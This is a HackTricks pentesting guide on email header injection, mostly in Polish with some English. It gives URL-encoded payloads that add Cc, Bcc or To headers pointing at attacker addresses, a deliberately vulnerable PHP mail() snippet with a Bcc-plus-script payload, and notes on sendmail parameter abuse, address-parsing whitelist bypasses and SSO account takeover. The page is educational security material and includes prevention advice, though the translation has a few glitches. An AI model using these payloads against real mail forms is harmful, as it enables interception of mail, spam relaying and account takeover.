hacktricks/pentesting-web/email-injections.md
2024-02-11 01:46:25 +00:00

12 KiB

Wstrzykiwanie do wysłanej wiadomości e-mail


Użyj Trickest, aby łatwo tworzyć i automatyzować przepływy pracy przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Wstrzykiwanie w wysłaną wiadomość e-mail

Wstrzykiwanie Cc i Bcc po argumencie nadawcy

From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com

Wstrzyknięcie argumentu

The message will be sent to the recipient and recipient1 accounts.

Wstrzyknięcie argumentu

From:sender@domain.com%0ATo:attacker@domain.com

Wiadomość zostanie wysłana do oryginalnego odbiorcy oraz do konta atakującego.

Wstrzyknięcie argumentu Temat (Subject)

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

Fałszywy temat zostanie dodany do oryginalnego tematu i w niektórych przypadkach go zastąpi. To zależy od zachowania usługi pocztowej.

Zmień treść wiadomości

Wstrzyknij dwie linie odstępu, a następnie napisz swoją wiadomość, aby zmienić treść wiadomości.

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

Wykorzystanie funkcji PHP mail()

The mail() function in PHP is commonly used to send emails from a web application. However, if not properly secured, it can be vulnerable to email injection attacks. Email injection occurs when an attacker is able to manipulate the email headers and inject malicious content into the email.

Exploiting Email Injection

To exploit email injection, an attacker can craft a specially crafted input that includes additional email headers or commands. These additional headers or commands can be used to perform various malicious actions, such as sending spam emails, stealing sensitive information, or even executing arbitrary code on the server.

Example of Email Injection

Consider the following vulnerable code snippet:

<?php
$to = $_POST['email'];
$subject = "Welcome to our website!";
$message = "Thank you for signing up.";
$headers = "From: noreply@example.com";

mail($to, $subject, $message, $headers);
?>

In this example, the $_POST['email'] variable is directly used as the recipient of the email without any validation or sanitization. An attacker can exploit this by injecting additional headers using a newline character (\r\n).

For example, an attacker can craft a malicious input like this:

email@example.com\r\nBcc: attacker@example.com\r\nContent-Type: text/html\r\n\r\n<script>alert('You have been hacked!');</script>

When the email is sent, the additional headers and the injected script will be included in the email. The script will be executed when the email is opened by the recipient, potentially leading to further exploitation.

Prevention

To prevent email injection attacks, it is important to properly validate and sanitize user input before using it in email headers. Here are some best practices to follow:

  • Validate and sanitize user input: Ensure that user input is properly validated and sanitized to prevent any malicious content from being injected.
  • Use a safe email library: Instead of using the mail() function directly, consider using a secure email library that handles email headers properly and provides built-in protection against email injection attacks.
  • Implement input validation and filtering: Implement input validation and filtering mechanisms to ensure that user input adheres to expected formats and does not contain any malicious content.
  • Use prepared statements or parameterized queries: If user input is used in SQL queries, use prepared statements or parameterized queries to prevent SQL injection attacks, which can also be used to perform email injection.

By following these best practices, you can protect your web application from email injection attacks and ensure the security of your users' data.

# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

Piąty parametr ($additional_parameters)

Ta sekcja będzie oparta na tym, jak nadużywać tego parametru zakładając, że atakujący go kontroluje.

Ten parametr zostanie dodany do wiersza poleceń, który PHP będzie używał do wywołania binarnego sendmail. Jednak zostanie on zabezpieczony za pomocą funkcji escapeshellcmd($additional_parameters).

Atakujący może wstrzyknąć dodatkowe parametry dla sendmail w tym przypadku.

Różnice w implementacji /usr/sbin/sendmail

Interfejs sendmail jest dostarczany przez oprogramowanie poczty MTA (Sendmail, Postfix, Exim itp.) zainstalowane w systemie. Chociaż podstawowe funkcje (takie jak parametry -t -i -f) pozostają takie same ze względów zgodności, inne funkcje i parametry różnią się znacznie w zależności od zainstalowanego MTA.

Oto kilka przykładów różnych stron podręcznika polecenia sendmail:

W zależności od pochodzenia binarnego sendmail odkryto różne opcje nadużywania ich i wyciek plików lub nawet wykonywanie dowolnych poleceń. Sprawdź jak to zrobić na stronie https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

Wstrzykiwanie w nazwę e-maila

Pomijane części adresu e-mail

Symbole: +, - i {} w rzadkich przypadkach mogą być używane do oznaczania i są ignorowane przez większość serwerów poczty elektronicznej

Komentarze w nawiasach () na początku lub na końcu również są ignorowane

Ominięcie białej listy

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

Cytaty

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

Adresy IP

Możesz również używać adresów IP jako nazw domenowych, umieszczając je w nawiasach kwadratowych:

  • john.doe@[127.0.0.1]
  • john.doe@[IPv6:2001:db8::1]

Inne podatności

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

SSO osób trzecich

XSS

Niektóre usługi, takie jak github lub salesforce, pozwalają tworzyć adresy e-mail z zainfekowanymi XSS. Jeśli możesz użyć tych dostawców do logowania się na inne usługi i te usługi nie oczyszczają poprawnie adresu e-mail, możesz spowodować XSS.

Przejęcie konta

Jeśli usługa SSO pozwala na utworzenie konta bez weryfikacji podanego adresu e-mail (tak jak salesforce) i następnie możesz użyć tego konta do zalogowania się na inną usługę, która ufa salesforce, możesz uzyskać dostęp do dowolnego konta.
Należy jednak zauważyć, że salesforce wskazuje, czy podany adres e-mail został zweryfikowany, ale aplikacja powinna uwzględniać tę informację.

Odpowiedź do

Możesz wysłać e-mail używając Od: company.com i Odpowiedz do: attacker.com, a jeśli zostanie wysłana automatyczna odpowiedź z powodu wysłania e-maila z wewnętrznego adresu, atakujący może być w stanie otrzymaćodpowiedź.

Wskaźnik odrzutu twardy

Niektóre usługi, takie jak AWS, wprowadzają próg znanym jako wskaźnik odrzutu twardego, zwykle ustawiony na 10%. Jest to kluczowa metryka, zwłaszcza dla usług dostarczania poczty elektronicznej. Przekroczenie tego wskaźnika może spowodować zawieszenie lub zablokowanie usługi, takiej jak usługa poczty elektronicznej AWS.

Twardy odrzut odnosi się do e-maila, który został zwrócony do nadawcy, ponieważ adres odbiorcy jest nieprawidłowy lub nieistniejący. Może to wynikać z różnych przyczyn, takich jak wysłanie e-maila na nieistniejący adres, domenę, która nie istnieje, lub odmowę serwera odbiorcy przyjęcia e-maili.

W kontekście AWS, jeśli wysyłasz 1000 e-maili, a 100 z nich kończy się twardym odrzutem (z powodu nieprawidłowych adresów lub domen), oznacza to wskaźnik twardego odrzutu wynoszący 10%. Osiągnięcie lub przekroczenie tego wskaźnika może spowodować zablokowanie lub zawieszenie możliwości wysyłania e-maili przez AWS SES (Simple Email Service).

Ważne jest utrzymanie niskiego wskaźnika twardego odrzutu, aby zapewnić nieprzerwane świadczenie usług poczty elektronicznej i utrzymanie reputacji nadawcy. Monitorowanie i zarządzanie jakością adresów e-mail na listach mailingowych może znacznie pomóc w osiągnięciu tego celu.

Aby uzyskać bardziej szczegółowe informacje, można odwołać się do oficjalnej dokumentacji AWS dotyczącej obsługi odrzutów i skarg AWS SES Bounce Handling.

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: